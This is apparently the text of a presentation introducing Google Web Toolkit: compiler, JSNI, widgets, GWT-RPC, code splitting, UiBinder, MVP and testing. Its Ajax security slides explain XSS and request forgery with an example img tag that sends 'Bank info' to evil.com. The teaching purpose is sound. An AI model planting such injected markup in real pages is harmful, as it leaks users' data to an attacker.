Ed Bras | [email protected] 2
• What is GWT?
• My first GWT application
• The GWT compiler
• Native Javascript support
• GWT under the hood
• Making own widgets
• Backend integration
• GWT-RPC
Ed Bras | [email protected] 3
• Spring integration
• DTO’s usage
• Ajax security
• Code splitting
• Styling and Themes
• Client bundle
• UIBinder
• MVCP pattern
Ed Bras | [email protected] 4
• Service handler
• GWT enterprise development
• Display data binding
• IDE integration
• Ajax testing
• Third party GWT frameworks
• Sales talk
• GWT usage
Javascript
Ed Bras | [email protected] 5
• Building interactive web sites
• Java -> Javascript compiler
• Browser independent
• Browser support: FF, IE, Chrome, Safari, Opera
• No browser plugin needed
• Open source, Apache 2.0 license
Java Code
Firefox FirefoxSafari
Opera
Chrome
Ed Bras | [email protected] 6
• Create project
• GWT jar’s
• JRE support + source code
• Not-supported classes
• Development mode
• Debugging
• Compile with Maven
• GWT Eclipse plugin
Ed Bras | [email protected] 7
• Generating optimized Javascript
• Faster Javascript then handwritten
• Dead code removal, Type tighten, inlining, aggressive obfuscation, etc…
JavascriptJava Code
Shape s = new Square(2);
int a = s.getArea();
equals:
Square s = new Square(2);
inta = s.length* s.length;
becomes:
int a = 4;
Ed Bras | [email protected] 8
• Newest compiler: 3 – 20 % smaller code
• Compiler output: obfuscated, pretty, report
• Predictable code: no reflection
• Deferred binding alternative
• Compiler permutations
GWT.create(DOMImpl.class)
DOMImpl
DOMImplIE6 DOMImplOpera
Ed Bras | [email protected] 9
• Internationalization support
• Inline property replacement
• Extending properties
MyLabels
interfacemylabels_nl.properties
Usage:MyLabels props = GWT.create(MyLabels.class);
props.getCustomerTitle();
CommonLabels
interfacecommonlabels_nl.properties
packageContent:customerTitle = Alle klanten
….
…
Ed Bras | [email protected] 10
• Different permutations (browsers x languages)
Indicate Possible locales (permutations) in gwt.xml:<extend-property name="locale" values="nl, es" />
Indicate required Locale:Set required locale in gwt.xml file:
<set-property name="locale" value="nl" />
Set required locale in html file:
<meta name="gwt:property" content="locale=es">
Set required locale in URL:
http://www.example.org/myapp.html?locale=nl
Ed Bras | [email protected] 11
• Call Javascript code from Java
public native String flipName(String name) /*-{ var re = /(\w+)\s(\w+)/; return name.replace(re, '$2, $1');
}-*/;
• Call Java code From Javascript
• Results in many possibilities
• GWT wrappers around existing Javascript lib’s
• Direct JQuery calls (GQuery)
• Flash integration through FABridge
Ed Bras | [email protected] 12
• DOM programming through Java Overlay types
• Binding of a Java object to a Javascript object
• IDE advantages
• Use JSON objects as Java objects
• Friendly usage of Javascript lib’s
Ed Bras | [email protected] 13
JSON data from server:var jsonData = [{ "FirstName" : "Jimmy", "LastName" : "Webber" },{ "FirstName" : "Alan", "LastName" : "Dayal" },
];
Overlay Java Class:public class CustomerJso extends JavaScriptObject implements Customer {protected CustomerJso() { }
public final native String getFirstName() /*-{ return this.FirstName; }-*/;public final native String getLastName() /*-{ return this.LastName; }-*/;public final String getFullName() {return getFirstName() + " " + getLastName();
}}
Usage:public void onModuleLoad() {
Customer c = getFirstCustomer();Window.alert("Hello, " + c.getFirstName());
}
private native CustomerJso getFirstCustomer() /*-{return $wnd.jsonData[0]; // example: contains the result from a backend call
}-*/;
Ed Bras | [email protected] 14
• Gwt-google-apis:
• Google Maps
• Google Ajax search
• Google Gears
• etc..
Ed Bras | [email protected] 15
• Widget and Panel Hierarchy Implements HasWidgets
Ed Bras | [email protected] 16
• HTML standard mode support
• Helper classes
GWT HistoryDOM
• DOM: Dom element management
• GWT: Global application management
Ed Bras | [email protected] 17
• History: Ajax navigation via URL fragments
Show page 1Add History
markerShow page 2
Add History marker
back
History queue
page 2page 1….
1 2
back: inform back: inform
inform
Ed Bras | [email protected] 18
• Object presentation on the DOM
Panel
Label
Button
parent
child’s
Panel
Label
Button
parent
child’s
Logical attachment Physical attachment
contains
contains
contains
Ed Bras | [email protected] 19
• Element API examplesUIObject.getElement() // element location
Element.getStyle()
Element.setPropertyString(String, String)
Element.setScrollLeft(int)
Element.setTitle(String)
Element.getClassName() // same as Widget.getStyleName()
• Toevoegen child widget:// logical and physical attachment:FlowPanel panel = new FlowPanel();
RootPanel.get().add(panel);
Panel.add(new Label(“some text”); // attachment
// Only physical attachment (not normal usage):FlowPanel panel = new FlowPanel();
RootPanel.get().add(panel);
Panel.getElement().appendChild(new Label(“some text”).getElement)); // attachment
Ed Bras | [email protected] 21
• Composite class usage:
• Clear API
• Poor reusage, not lazy, heavy constructor
• Improved alternative: SimpleComposite
Ed Bras | [email protected] 22
• Event example
• Event sinking
• Event bubbling transparency
• Blur and Focus do not bubble
Panel
Button
parent
child’s
Capture phase Bubbling phase
Ed Bras | [email protected] 23
• What goes wrong ?
function makeWidget() {var widget = {}; widget.someVariable = "foo"; widget.elem = document.createElement ('div'); widget.elem.onclick = function() {
alert(widget.someVariable); };
}
• Browsers garbage collection of cycled referencedA -> B -> A (widget -> elem -> widget)
Ed Bras | [email protected] 24
• GWT guarantees no memory leaks
• Element -> Widget association not possible
Ed Bras | [email protected] 25
• Asynchronous backend calls
Show table with data
Create Table View
Fetch Table data
1
2
Show table with data
Create Table View Fetch Table data
Asynchronous
Synchroon
backend
frontend
Ed Bras | [email protected] 26
• SOP: Same Origin Policy
• Alternative:
• Server proxy: extra delay
• <script> DOM element: less secure
Our domain
Neighbor
Load application
SOP restriction
Ed Bras | [email protected] 27
• Impact integration of existing backend
• Page lifecycle not on server
• Lightweight
• Easy integration with existing Get/Post backend
Ed Bras | [email protected]
28
• Communication basics:
• GWT-RPC (java backend)
• Post/Get (any backend)
• JSNI
GWT applicatie
Backend
GWT-RPC Post/Get JSNI
J2EE container Any container Any container
XML JSON Text
Ed Bras | [email protected] 29
• Post/Get
• Retrieving any data from the server
• Example: XML, JSON, TEXT
• JSON versus XML
• Third party lib’s for REST services
• Example: Restlet, RestyGWT (REST + JSON)
• GWT RequestBuilder class:
• Default Post/Get support (Safari bug)
• Head/Delete/etc.. support through subclassesRequestBuilder.sendRequest(String, RequestCallback)
Ed Bras | [email protected] 30
• Post/Get
• GWT XML en JSON helper classes
• GWT-RPC
• Transparent backend connection
• Java Object sharing
• Lightweight mechanism
Ed Bras | [email protected] 31
• GWT-RPC Customer exampleserver client
GWT J2ee container
CustomerServiceDefault
CustomerService
RemoteServiceServlet
CustomerServiceAsync
web.xml…
mapping
Usage
service = GWT.create(CustomerService.class);service. getAllCustomers()
Remote Service
1
2
3
Ed Bras | [email protected] 32
• Transport object:
• Implements (indirect) Serializable
• No-arg constructor
• Field must be non-final (log warning)
• Transient field not over the wire
• Generated Serialization code reduction:
• Prefer ArrayList<E> over List<E> in Service interface
Ed Bras | [email protected] 33
• Only Checked exceptions over the wire
List<Customer> getAllCustomers() throws StaleCustomerStateException;
• Exception translation
Mediator layer
Dynamic proxy Exception Translator
Unchecked -> Checked Exception
BrowserGWT application
Example: Source: MemberNotLoggedInRuntimeExceptionTarget: MemberNotLoggedInException
java.lang.reflect.Proxy
Ed Bras | [email protected] 34
• <MD5>.gwt.rpc policy file
• War deployment
• Spring integration
• Third party connector (gwtwidgets)
• Mapping through Spring instead through web.xml
Ed Bras | [email protected] 35
J2EE container(s)
Web server(s)
BrowserGWT Application
• Friendly environmentDevelopment
IDE
Start/Stopindex.html
load application/resoucesbackend communication
proxy calls
Customer
code share
gwt-servlet.jar
publish
DB
Browser plugin
Separated deployment
Ed Bras | [email protected] 36
• GWT noserver mode
• Friendly development environment:
• SOC (Separation of Concerns)
• Friendly testing (mocks)
• Friendly deployment (separated)
• Serialization policy solution (SerializationPolicy)
• Lightweight backend
• Simple scalable (horizontal)
• Almost stateless
Ed Bras | [email protected] 37
• Optimizing object transport (light, share, security)
• Prevents enhanced object problems (hibernate)
• Adjust and test DTO conversion
Mediator layer
BrowserGWT application
DTO’s (CustomerDto)
Domain objects (Customer)DTO
converter
Backend communication
Ed Bras | [email protected] 38
• DTO converter: Dozer
• Gilead:
• No DTO converter needed
• Backend impact
• Code impactDomain object(Customer)
DTO object(CustomerDto)
Ed Bras | [email protected] 39
• Bill Hoffman film en book Ajax Security
• GWT doc
• Ajax paradox: more in not-trustable client
• Security role undermind
• Differences with not-Ajax time
Ed Bras | [email protected] 40
• State in client
• Backend calls as webservices
Not-Ajax backend Ajax backend
Not to be trusted?
Backend
Ed Bras | [email protected] 41
• Evil state in front-end
• Specification backend access (control and state)
• Ajax as blueprint van de backend
• Example:
• Booking flight: select, reservation, pay, book
• Price attack: price in Javascript variable
Backend
Ed Bras | [email protected] 42
• More business logic in browser (HtmlGuardian)
• You best friend: Firebug
• Javascript security friend: Flash (no SOP)
• Storing login info in client (https login)
• Logic controlled denial attack
• Revered Obfuscating
• Dynamic code loading
• Method Clobbering
Frontend
Ed Bras | [email protected] 43
• Element.innerHTML(UserSCRIPTInput)
• eval(JSON) -> evil() (Javascript is Evil)
• JSONP (JSON Padding) is evil (proxy)
• Evil Google Gadgets
• Hacker type:
• The user (before)
• Clone a user
Frontend
Ed Bras | [email protected] 44
• XSS (Cross Site Scripting)
• XSRF (Cross Site Request Forging)
Trusted domain Evil domain
Inject Javascript
<img src=“evil.com?info=Bank info”></img>Cookie
Request forging
Ed Bras | [email protected] 45
• Cookie duplication
• GWT:
• Hiding Javascript
• Usage JSONParser
• More default checks in future
• Many attention on infrastructure security
• Little attention on Application security (hacker happy)
Ed Bras | [email protected] 46
• Loading of application in small code fragments
HTML JS Running
HTML JS Running
without code splitting
with code splitting
Running Running Running
JS JS JS
Time
Ed Bras | [email protected] 47
GWT.runAsync(new RunAsyncCallback() {public void onSuccess() {
// Runs when code is loaded with success}
public void onFailure(Throwable reason) {// Runs when loaded with failure
}});
• Example of split point in code
Start Code
Split point 1
Split point 2
Left over
Kb
Code base
Loading first code fragment
Ed Bras | [email protected] 48
• Lazy loading when needed
• Manual Code splitting
• Minimizing left over
• Isolate code fragments
• SOYC (Story Of Your Compile)
• When loading which code?
• Code fragment size
• Compiler optimizing
• etc…
Ed Bras | [email protected] 49
• CSS faster than element styling
element. getStyle().setBackgroundColor(“#FF00FF”)
• (GWT) CSS include through
• <link> in Html page
• In gwt.xml file (preferred)
• Through UIBinder and CssResource
<link type="text/css" rel="stylesheet" href=“my.css">
<stylesheet src=“my.css" />
Ed Bras | [email protected] 50
• Widget styles:
• UIObject.setStyleName(“button”)
• UIObject.setStylePrimaryName(“button”)
• UIObject.addStyleDependentName(“enabled”)
<div class=“button”>
<div class=“button”>
<div class=“button button-enabled”>
WidgetStyler Widget
add mouse/click listeners
Decorator
enable/disable/select
<div class=“button button-disabled”><div class=“button button-enabled”><div class=“button button-hover”><div class=“button button-sel”>
primary style
Ed Bras | [email protected] 51
• Visual Theme:
• Inject a set of style sheets through a separate gwt.xml file
• Usage with reusable components
• GWT standard themes: standard, chrome, dark
Usage:<inherits name='com.google.gwt.user.theme.standard.Standard'/>
Content of Standard.gwt.xml:<module>
<stylesheet src="gwt/standard/standard.css"/></module>
Ed Bras | [email protected] 52
• Dynamic change of style sheetspublic static boolean removeStyleSheet(String id) {
Element elem = DOM.getElementById(id);if (elem == null) {
return false;}else {
Element parent = elem.getParentElement();parent.setPropertyString("disabled", "disabled");parent.removeChild(elem);
return true;}
}
public static void addStyleSheet(String id, String url) {Element link = DOM.createElement("link");link.setPropertyString("rel", "stylesheet");link.setPropertyString("type", "text/css");link.setPropertyString("id", id);link.setPropertyString("href", url);link.setPropertyString("disabled", "");Element head = getHead();head.appendChild(link);
}
public native Element getHead() /*-{ return $doc.getElementsByTagName('head')[0]; }-*/;
Ed Bras | [email protected] 53
• Include static resourcespublic interface MyResources extends ClientBundle {public static final MyResources INSTANCE = GWT.create(MyResources.class);
@Source("my.css")public CssResource css();
@Source("config.xml")public TextResource initialConfiguration(); // i18N support (config_us.xml)
@Source("default.txt")
public TextResource defaultText(); // i18N support (default_nl.txt)
@Source("manual.pdf")public DataResource ownersManual(); // i18N support (manual_es.pdf)
@Source("logo.png")
ImageResource logo(); // i18N support (logo_es.png)}
Usage:MyResources.INSTANCE.css().ensureInjected();
// Display the manual file in an iframenew Frame(MyResources.INSTANCE.ownersManual().getURL());
Ed Bras | [email protected] 54
• Perfect caching (predictable)
• MD5 file name
GWT Compiler
Manual.pdf A49CB1C6CF624BC21D0E59CDCD566951.pdf
<Files *.nocache.*>ExpiresDefault "access"
</Files>
<Files *.cache.*>ExpiresDefault "now plus 1 year"
</Files>
• File change results in MD5 file name change
• Apache caching (mod_expires)
Ed Bras | [email protected] 55
• CssResource
@def myIdent 10px;
@sprite panel {gwt-image: “alertInfo”;
}
.foo {background: green;
}
@if user.agent ie6 {.foo {position: relative;
}} @else {.foo {font-size: x-large;
}}
interface MyResources extends ClientBundle {@Source("my.css")@CssResource.NotStrictMyCss css();
@Source("images/alert-info-ff00ff.gif")@ImageOptions(repeatStyle = RepeatStyle.None)ImageResource alertInfo();
}
interface MyCss extends CssResource {String className();String myIdent();
}
MyResources resources = GWT.create(MyResources.class);Label l = new Label("Some text");l.addStyleName(resources.css().className());
Stylesheet Usage
same
in classpath
Ed Bras | [email protected] 56
• CssResource:
• More control and flexible
• Efficient loading of images
• GWT compiler performs more checks
• Css code -> Java code -> more checks/control
• Minimizing style sheet
• Obfuscating
• Predictable/perfect caching
Ed Bras | [email protected] 57
• Templating elementsHelloWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'><div>
Hello, <span ui:field='nameSpan'/>.</div>
</ui:UiBinder>
public class HelloWorld extends UIObject {interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {}
private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField SpanElement nameSpan;
public HelloWorld() {setElement(uiBinder.createAndBindUi(this));
}
public void setName(String name) { nameSpan.setInnerText(name); }}
Usage:HelloWorld helloWorld = new HelloWorld();Document.get().getBody().appendChild(helloWorld.getElement());helloWorld.setName("World");
Ed Bras | [email protected] 58
• Templating widgetsHelloWidgetWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder‘ xmlns:g='urn:import:com.google.gwt.user.client.ui'>
<g:HTMLPanel>Hello, <g:ListBox ui:field='listBox' visibleItemCount='1'/>.
</g:HTMLPanel></ui:UiBinder>
public class HelloWidgetWorld extends Composite {interface MyUiBinder extends UiBinder<Widget, HelloWidgetWorld> {}
private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField ListBox listBox;
public HelloWidgetWorld(String... names) {initWidget(uiBinder.createAndBindUi(this));for (String name : names) {
listBox.addItem(name); }
}}
Usage:HelloWidgetWorld helloWorld = new HelloWidgetWorld("able", "baker", "charlie");
Ed Bras | [email protected] 59
• Improve performance (innerHTML usage)
• Many styling possibilities
• Separation of Widget and Template
• 1 Widget with different templates
• Design friendly
• IDE friendly
• Annotation usage (listener method)
• Compare with Flex and Faclets (JSF)
Presenter 1
Ed Bras | [email protected] 60
Event bus
Events:…App initApp prepare testApp prepare 1..App build 1..App show..Global data changed
CustomerController
ShowPresenter
ModifyPresenter
Show View Modify View
Display register
Data Model
Create lazy through code split
Shared display content:Tab content ….
Interface association
Bubbling actions:Click gotoModify button
Business logic
Presenter logic
optional
Ed Bras | [email protected] 61
• Separated view, business en presentation logic
• Forced separating
• Friendly testing
• Interface associations
• Data model Observer memory leaks
• GWT doc
Ed Bras | [email protected] 62
• Central handler for backend communication
• Control of backend calls (queue, timeout, etc..)
• Central progress monitor
• Wrap existing Async calls
Usage:final AsyncCallback<Member> callback = createCallback();….serviceHandler.add(new AsyncCommand<Member>() { // add service handler
public AsyncCallback<Member> getCallback() {return callback;
}
void run(final AsyncCallback<Member asynCallback) {getBackendFacade().login(“bla”, “geheim”, asynCallback);
}});
Ed Bras | [email protected] 63
• Split GWT project in production, test en development
DeclareCommon.gwt.xml
DeclareProd.gwt.xml DeclareTestCommon.gwt.xml
DeclareTest.gwt.xml DeclareDev.gwt.xml
Lean and mean (800k):no assertsno element id’setc..
Test enabled (1200k):with assertswith element id’swith dev panelbackend mockingTest data via URL paramsetc..
More Test data options<div id=“bla”>rik</div>
Id is needed for Ajax testing
Ed Bras | [email protected] 64
• Flexible environment settings
• Friendly develop environment
• Mocking backend (offline mode)
• Unit testing through URL parameters
• Deferred binding
Ed Bras | [email protected] 65
• Model Display binding
Data model Displaybinding ?
Fill display with model data
View
Data model
Desired: Decouple of display details en data binding (SOC)Reusable data binding
split
public void update(data collection) {foreach(Data item: data) {
table.setText(0, 1, item.getLabel());}
}
Ed Bras | [email protected] 66
TableViewer
TableViewer decorates Table
• TableViewer example
Data model
1: update2Display(List<Customer>)
TableEditor
2: update2Display(RowEditor, Customer)
RowEditor
Display table
contains
3: Customer specific:rowEditor.setHtml(0, customer.getFirstName()); rowEditor.setWidget(1, new Label(customer.getLastName()));….
Ed Bras | [email protected] 67
• Viewer decorates Display component
• SOC (Separation Of Concern)
• Friendly syncing of data and display
• Reusable for other data
• Usage in well known GUI frameworks
• Example: FormField en FormFieldViewer
Ed Bras | [email protected] 68
• GWT Eclipse plugin
• GWT Designer of Instantiations (no UIBinder)
• Waiting for UIBinder IDE support
Ed Bras | [email protected] 69
• Unit testing of not-Display parts (MVCP)
• Unit testing of GWT display parts met Junit
• Nightly build met Cargo- en GWT maven plugin
• Difficult to test the Ajax frontend
• Selenium van Thoughtworks:
• FF plugin for scenario recording
• Selenium RC (java, Groovy, etc…)
• Ajax model test framework:
• Modeling of browser elements
• Selenium as browser implementation
Ed Bras | [email protected] 70
Display
First name
Last name
News letter
<input id=“myCheckId” type=“checkbox”>
• Ajax model test framework
Cssselector
TypeElement
CheckElement
typeWait(“bla”)
clickWait(“bla”)
Locator
Browser
Id
interface contains
Selenium RC
modeling
contains
interface
Ed Bras | [email protected] 71
• Hierarchy of reusable rich browser elements
• Compose new elements
• Friendly usage none-developer
• Run through testNG/Junit
• Run during nightly build
Ed Bras | [email protected] 72
• GWT focus: compiler and core
• Many GWT hobby projects
• GXT van Ext Js (former mygwt)
• SmartGWT
• RocketGWT
• Many GWT wrappers
• GIN (GWT Injection), based on Google Guice
Ed Bras | [email protected] 73
• It’s Google (future, sexy)
• Open source project, no license costs
• Google Wave and AdWords build with GWT
• GWT more popular every day
• Rich interactive web sites possible
• Browser independent
• No browser plugin needed
• Short learning curve
• GWT has a clear programming model
Ed Bras | [email protected] 74
• Existing Java developers can start directly
• Usage of standard Java development tools
• GUI design tools available
• Many GWT libraries available
• Fast application building (Prototyping)
• Many and complex functionality possible
• No/little Javascript knowledge needed
• Simple and fast deployment
Ed Bras | [email protected] 75
• Simple integration with existing backend
• Simple scalability
• Less backend resource usage
• Friendly integration with Google API’s.
• Integration with Flash in the browser
• Light weight
• Compiler optimizing (compact, obfuscated)
• Reusable existing Java code
Ed Bras | [email protected] 76
• CMS friendly
• Test/develop friendly (prod, test, dev modes)
• GUI binder
Ed Bras | [email protected] 77
• Less:
• Still solving browser CSS differences yourself
• less suitable for complex animations
• Less suitable for tiny Javascript application
• Not search engine friendly (poor ranking)
Ed Bras | [email protected] 78
• JQuery for simple Ajax functionality
• Flash for Trendy sites
• Other: GWT
• Use case: Lombardi/IBM Blueprints:
• Started with Flash (cross-browser bugs)
• Then DOJO (too big)
• Now GWT (take over by IBM)
• Use case: Mendix, generation of GWT front-end
Ed Bras | [email protected] 79
• Roadmap not public known
• Compiler optimizing, richer widgets, standard mode, security, etc..
• HTML 5 support
• More used every day (forum active)
Ed Bras | [email protected] 80
• Google GWT site: doc, samples, blog, forum
• GWT on Youtube (I/O sessions)
• Google books
• LinkedIn group(s): GWT Dutch Professionals
• Call/Mail me ([email protected], www.ited.nl)